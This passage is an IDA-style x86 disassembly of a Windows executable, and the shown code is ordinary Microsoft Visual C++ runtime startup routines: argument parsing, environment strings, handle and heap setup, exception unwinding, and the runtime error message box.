		push	104h
		push	esi
		push	ebx
		call	dword_405034	; GetModuleFileNameA
		mov	eax, dword_407458
		mov	off_406F84, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_402E94
		mov	edi, eax


loc_402E94:				; CODE XREF: sub_402E58+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_402EF1
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_403CB6
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_402EC4
		push	8
		call	sub_402934
		pop	ecx


loc_402EC4:				; CODE XREF: sub_402E58+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_402EF1
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_406F6C, esi
		pop	edi
		pop	esi
		mov	dword_406F68, eax
		pop	ebx
		leave
		retn
sub_402E58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EF1	proc near		; CODE XREF: sub_402E58+47p
					; sub_402E58+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_402F1B
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_402F1B:				; CODE XREF: sub_402EF1+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_402F64


loc_402F20:				; CODE XREF: sub_402EF1+58j
					; sub_402EF1+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_402F52
		test	dl, dl
		jz	short loc_402F52
		movzx	edx, dl
		test	byte_407221[edx], 4
		jz	short loc_402F45
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F45
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_402F45:				; CODE XREF: sub_402EF1+46j
					; sub_402EF1+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F20
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_402F20
; ---------------------------------------------------------------------------


loc_402F52:				; CODE XREF: sub_402EF1+36j
					; sub_402EF1+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F5C
		and	byte ptr [esi],	0
		inc	esi


loc_402F5C:				; CODE XREF: sub_402EF1+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_402FA7
		inc	eax
		jmp	short loc_402FA7
; ---------------------------------------------------------------------------


loc_402F64:				; CODE XREF: sub_402EF1+2Dj
					; sub_402EF1+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F6F
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_402F6F:				; CODE XREF: sub_402EF1+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_407221[ebx], 4
		jz	short loc_402F8A
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F89
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_402F89:				; CODE XREF: sub_402EF1+91j
		inc	eax


loc_402F8A:				; CODE XREF: sub_402EF1+8Bj
		cmp	dl, 20h
		jz	short loc_402F98
		test	dl, dl
		jz	short loc_402F9C
		cmp	dl, 9
		jnz	short loc_402F64


loc_402F98:				; CODE XREF: sub_402EF1+9Cj
		test	dl, dl
		jnz	short loc_402F9F


loc_402F9C:				; CODE XREF: sub_402EF1+A0j
		dec	eax
		jmp	short loc_402FA7
; ---------------------------------------------------------------------------


loc_402F9F:				; CODE XREF: sub_402EF1+A9j
		test	esi, esi
		jz	short loc_402FA7
		and	byte ptr [esi-1], 0


loc_402FA7:				; CODE XREF: sub_402EF1+6Ej
					; sub_402EF1+71j ...
		and	[ebp+arg_10], 0


loc_402FAB:				; CODE XREF: sub_402EF1+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_403094


loc_402FB4:				; CODE XREF: sub_402EF1+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_402FC0
		cmp	dl, 9
		jnz	short loc_402FC3


loc_402FC0:				; CODE XREF: sub_402EF1+C8j
		inc	eax
		jmp	short loc_402FB4
; ---------------------------------------------------------------------------


loc_402FC3:				; CODE XREF: sub_402EF1+CDj
		cmp	byte ptr [eax],	0
		jz	loc_403094
		test	edi, edi
		jz	short loc_402FD8
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_402FD8:				; CODE XREF: sub_402EF1+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_402FDD:				; CODE XREF: sub_402EF1+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_402FE6:				; CODE XREF: sub_402EF1+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_402FEF
		inc	eax
		inc	ebx
		jmp	short loc_402FE6
; ---------------------------------------------------------------------------


loc_402FEF:				; CODE XREF: sub_402EF1+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_403020
		test	bl, 1
		jnz	short loc_40301E
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_40300D
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_40300D
		mov	eax, edx
		jmp	short loc_403010
; ---------------------------------------------------------------------------


loc_40300D:				; CODE XREF: sub_402EF1+10Dj
					; sub_402EF1+116j
		mov	[ebp+arg_0], edi


loc_403010:				; CODE XREF: sub_402EF1+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_40301E:				; CODE XREF: sub_402EF1+106j
		shr	ebx, 1


loc_403020:				; CODE XREF: sub_402EF1+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_403035
		inc	ebx


loc_403028:				; CODE XREF: sub_402EF1+142j
		test	esi, esi
		jz	short loc_403030
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_403030:				; CODE XREF: sub_402EF1+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_403028


loc_403035:				; CODE XREF: sub_402EF1+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_403085
		cmp	[ebp+arg_10], 0
		jnz	short loc_40304B
		cmp	dl, 20h
		jz	short loc_403085
		cmp	dl, 9
		jz	short loc_403085


loc_40304B:				; CODE XREF: sub_402EF1+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_40307F
		test	esi, esi
		jz	short loc_40306E
		movzx	ebx, dl
		test	byte_407221[ebx], 4
		jz	short loc_403067
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_403067:				; CODE XREF: sub_402EF1+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_40307D
; ---------------------------------------------------------------------------


loc_40306E:				; CODE XREF: sub_402EF1+162j
		movzx	edx, dl
		test	byte_407221[edx], 4
		jz	short loc_40307D
		inc	eax
		inc	dword ptr [ecx]


loc_40307D:				; CODE XREF: sub_402EF1+17Bj
					; sub_402EF1+187j
		inc	dword ptr [ecx]


loc_40307F:				; CODE XREF: sub_402EF1+15Ej
		inc	eax
		jmp	loc_402FDD
; ---------------------------------------------------------------------------


loc_403085:				; CODE XREF: sub_402EF1+148j
					; sub_402EF1+153j ...
		test	esi, esi
		jz	short loc_40308D
		and	byte ptr [esi],	0
		inc	esi


loc_40308D:				; CODE XREF: sub_402EF1+196j
		inc	dword ptr [ecx]
		jmp	loc_402FAB
; ---------------------------------------------------------------------------


loc_403094:				; CODE XREF: sub_402EF1+BDj
					; sub_402EF1+D5j
		test	edi, edi
		jz	short loc_40309B
		and	dword ptr [edi], 0


loc_40309B:				; CODE XREF: sub_402EF1+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_402EF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030A5	proc near		; CODE XREF: .text:004028BDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4070A0
		push	ebx
		push	ebp
		mov	ebp, dword_4050D0
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_4030F3
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4030D4
		mov	dword_4070A0, 1
		jmp	short loc_4030FC
; ---------------------------------------------------------------------------


loc_4030D4:				; CODE XREF: sub_4030A5+21j
		call	dword_4050CC	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4031CE
		mov	dword_4070A0, 2
		jmp	loc_403182
; ---------------------------------------------------------------------------


loc_4030F3:				; CODE XREF: sub_4030A5+19j
		cmp	eax, 1
		jnz	loc_40317D


loc_4030FC:				; CODE XREF: sub_4030A5+2Dj
		cmp	esi, ebx
		jnz	short loc_40310C
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4031CE


loc_40310C:				; CODE XREF: sub_4030A5+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_403121


loc_403113:				; CODE XREF: sub_4030A5+73j
					; sub_4030A5+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_403113
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_403113


loc_403121:				; CODE XREF: sub_4030A5+6Cj
		sub	eax, esi
		mov	edi, dword_4050C8
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_403172
		push	ebp
		call	sub_403CB6
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_403172
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_40316E
		push	[esp+18h+var_8]
		call	sub_403C87
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_40316E:				; CODE XREF: sub_4030A5+B9j
		mov	ebx, [esp+18h+var_8]


loc_403172:				; CODE XREF: sub_4030A5+99j
					; sub_4030A5+A8j
		push	esi
		call	dword_4050C4	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_4031D0
; ---------------------------------------------------------------------------


loc_40317D:				; CODE XREF: sub_4030A5+51j
		cmp	eax, 2
		jnz	short loc_4031CE


loc_403182:				; CODE XREF: sub_4030A5+49j
		cmp	edi, ebx
		jnz	short loc_403192
		call	dword_4050CC	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4031CE


loc_403192:				; CODE XREF: sub_4030A5+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4031A2


loc_403198:				; CODE XREF: sub_4030A5+F6j
					; sub_4030A5+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_403198
		inc	eax
		cmp	[eax], bl
		jnz	short loc_403198


loc_4031A2:				; CODE XREF: sub_4030A5+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_403CB6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4031B8
		xor	esi, esi
		jmp	short loc_4031C3
; ---------------------------------------------------------------------------


loc_4031B8:				; CODE XREF: sub_4030A5+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_402290
		add	esp, 0Ch


loc_4031C3:				; CODE XREF: sub_4030A5+111j
		push	edi
		call	dword_4050C0	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_4031D0
; ---------------------------------------------------------------------------


loc_4031CE:				; CODE XREF: sub_4030A5+39j
					; sub_4030A5+61j ...
		xor	eax, eax


loc_4031D0:				; CODE XREF: sub_4030A5+D6j
					; sub_4030A5+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4030A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031D7	proc near		; CODE XREF: .text:004028ADp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_403CB6
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4031F7
		push	1Bh
		call	sub_402934
		pop	ecx


loc_4031F7:				; CODE XREF: sub_4031D7+16j
		mov	dword_407340, esi
		mov	dword_407440, 20h
		lea	eax, [esi+100h]


loc_40320D:				; CODE XREF: sub_4031D7+52j
		cmp	esi, eax
		jnb	short loc_40322B
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_407340
		add	esi, 8
		add	eax, 100h
		jmp	short loc_40320D
; ---------------------------------------------------------------------------


loc_40322B:				; CODE XREF: sub_4031D7+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_4050A4	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_403307
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_403307
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_403261
		mov	esi, eax


loc_403261:				; CODE XREF: sub_4031D7+86j
		cmp	dword_407440, esi
		jge	short loc_4032BB
		mov	edi, offset dword_407344


loc_40326E:				; CODE XREF: sub_4031D7+DAj
		push	100h
		call	sub_403CB6
		test	eax, eax
		pop	ecx
		jz	short loc_4032B5
		add	dword_407440, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_40328C:				; CODE XREF: sub_4031D7+CFj
		cmp	eax, ecx
		jnb	short loc_4032A8
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_40328C
; ---------------------------------------------------------------------------


loc_4032A8:				; CODE XREF: sub_4031D7+B7j
		add	edi, 4
		cmp	dword_407440, esi
		jl	short loc_40326E
		jmp	short loc_4032BB
; ---------------------------------------------------------------------------


loc_4032B5:				; CODE XREF: sub_4031D7+A4j
		mov	esi, dword_407440


loc_4032BB:				; CODE XREF: sub_4031D7+90j
					; sub_4031D7+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_403307


loc_4032C1:				; CODE XREF: sub_4031D7+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4032FE
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_4032FE
		test	cl, 8
		jnz	short loc_4032E0
		push	eax
		call	dword_405094	; GetFileType
		test	eax, eax
		jz	short loc_4032FE


loc_4032E0:				; CODE XREF: sub_4031D7+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_407340[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_4032FE:				; CODE XREF: sub_4031D7+EFj
					; sub_4031D7+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4032C1


loc_403307:				; CODE XREF: sub_4031D7+65j
					; sub_4031D7+71j ...
		xor	ebx, ebx


loc_403309:				; CODE XREF: sub_4031D7+195j
		mov	eax, dword_407340
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_403364
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_403324
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_40332E
; ---------------------------------------------------------------------------


loc_403324:				; CODE XREF: sub_4031D7+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_40332E:				; CODE XREF: sub_4031D7+14Bj
		push	eax
		call	dword_4050D8	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_403353
		push	edi
		call	dword_405094	; GetFileType
		test	eax, eax
		jz	short loc_403353
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_403359


loc_403353:				; CODE XREF: sub_4031D7+163j
					; sub_4031D7+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_403368
; ---------------------------------------------------------------------------


loc_403359:				; CODE XREF: sub_4031D7+17Aj
		cmp	eax, 3
		jnz	short loc_403368
		or	byte ptr [esi+4], 8
		jmp	short loc_403368
; ---------------------------------------------------------------------------


loc_403364:				; CODE XREF: sub_4031D7+13Ej
		or	byte ptr [esi+4], 80h


loc_403368:				; CODE XREF: sub_4031D7+180j
					; sub_4031D7+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_403309
		push	dword_407440
		call	dword_4050D4	; SetHandleCount
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_4031D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403382	proc near		; CODE XREF: .text:00402898p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_40508C	; HeapCreate
		test	eax, eax
		mov	dword_407328, eax
		jz	short loc_4033B7
		call	sub_403D2A
		test	eax, eax
		jnz	short loc_4033BA
		push	dword_407328
		call	dword_405090	; HeapDestroy


loc_4033B7:				; CODE XREF: sub_403382+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4033BA:				; CODE XREF: sub_403382+27j
		push	1
		pop	eax
		retn
sub_403382	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033C0	proc near		; CODE XREF: sub_4034B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4033D8
		push	[ebp+arg_0]
		call	sub_404CA6	; RtlUnwind


loc_4033D8:				; DATA XREF: sub_4033C0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4033C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4033E0	proc near		; DATA XREF: sub_403402+Ao
					; .text:00403473o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_403401
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_403401:				; CODE XREF: sub_4033E0+10j
		retn
sub_4033E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_403402	proc near		; CODE XREF: sub_4034B8+67p
					; sub_4034B8+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4033E0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40341F:				; CODE XREF: sub_403402:loc_40345Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40345C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40345C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40345A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_403496
		call	dword ptr [ebx+esi*4+8]


loc_40345A:				; CODE XREF: sub_403402+44j
		jmp	short loc_40341F
; ---------------------------------------------------------------------------


loc_40345C:				; CODE XREF: sub_403402+2Aj
					; sub_403402+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403402	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4033E0
		jnz	short locret_40348C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_40348C
		mov	eax, 1

locret_40348C:				; CODE XREF: .text:0040347Aj
					; .text:00403485j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_406D8C
		jmp	short loc_4034A0

; =============== S U B	R O U T	I N E =======================================



sub_403496	proc near		; CODE XREF: sub_403402+4Fp
					; sub_4034B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_406D8C
		mov	ecx, [ebp+8]


loc_4034A0:				; CODE XREF: .text:00403494j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_403496	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034B8	proc near		; DATA XREF: .text:00402848o
					; sub_40371C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_403558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4034EB:				; CODE XREF: sub_4034B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_403551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_40353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_40353F
		js	short loc_40354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4033C0
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_403402
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_403496
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_40353F:				; CODE XREF: sub_4034B8+40j
					; sub_4034B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4034EB
; ---------------------------------------------------------------------------


loc_40354A:				; CODE XREF: sub_4034B8+54j
		mov	eax, 0
		jmp	short loc_40356D
; ---------------------------------------------------------------------------


loc_403551:				; CODE XREF: sub_4034B8+36j
		mov	eax, 1
		jmp	short loc_40356D
; ---------------------------------------------------------------------------


loc_403558:				; CODE XREF: sub_4034B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_403402
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_40356D:				; CODE XREF: sub_4034B8+97j
					; sub_4034B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4034B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_403402
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_403590	proc near		; CODE XREF: sub_402934+9p
					; sub_402959+9p
		mov	eax, dword_406F48
		cmp	eax, 1
		jz	short loc_4035A7
		test	eax, eax
		jnz	short locret_4035C8
		cmp	dword_406AD4, 1
		jnz	short locret_4035C8


loc_4035A7:				; CODE XREF: sub_403590+8j
		push	0FCh
		call	sub_4035C9
		mov	eax, dword_4070A4
		pop	ecx
		test	eax, eax
		jz	short loc_4035BD
		call	eax


loc_4035BD:				; CODE XREF: sub_403590+29j
		push	0FFh
		call	sub_4035C9
		pop	ecx

locret_4035C8:				; CODE XREF: sub_403590+Cj
					; sub_403590+15j
		retn
sub_403590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035C9	proc near		; CODE XREF: sub_402934+12p
					; sub_402959+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_406DA0


loc_4035DC:				; CODE XREF: sub_4035C9+20j
		cmp	edx, [eax]
		jz	short loc_4035EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset byte_406E30
		jl	short loc_4035DC


loc_4035EB:				; CODE XREF: sub_4035C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_406DA0[esi]
		jnz	loc_403719
		mov	eax, dword_406F48
		cmp	eax, 1
		jz	loc_4036F3
		test	eax, eax
		jnz	short loc_40361C
		cmp	dword_406AD4, 1
		jz	loc_4036F3


loc_40361C:				; CODE XREF: sub_4035C9+44j
		cmp	edx, 0FCh
		jz	loc_403719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_405034	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_403653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_402720
		pop	ecx
		pop	ecx


loc_403653:				; CODE XREF: sub_4035C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_402210
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_403696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_402210
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_404600
		add	esp, 10h


loc_403696:				; CODE XREF: sub_4035C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_402720
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_402730
		lea	eax, [ebp+var_A0]
		push	offset asc_4053E8 ; "\n\n"
		push	eax
		call	sub_402730
		push	off_406DA4[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_402730
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_404573
		add	esp, 2Ch
		pop	edi
		jmp	short loc_403719
; ---------------------------------------------------------------------------


loc_4036F3:				; CODE XREF: sub_4035C9+3Cj
					; sub_4035C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_406DA4[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_402210
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_4050D8	; GetStdHandle
		push	eax
		call	dword_40507C	; WriteFile


loc_403719:				; CODE XREF: sub_4035C9+2Ej
					; sub_4035C9+59j ...
		pop	esi
		leave
		retn
sub_4035C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40371C	proc near		; CODE XREF: sub_402A4C+5Ep
					; sub_403AE6+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_405428
		push	offset sub_4034B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4070A8
		xor	ebx, ebx
		cmp	eax, ebx
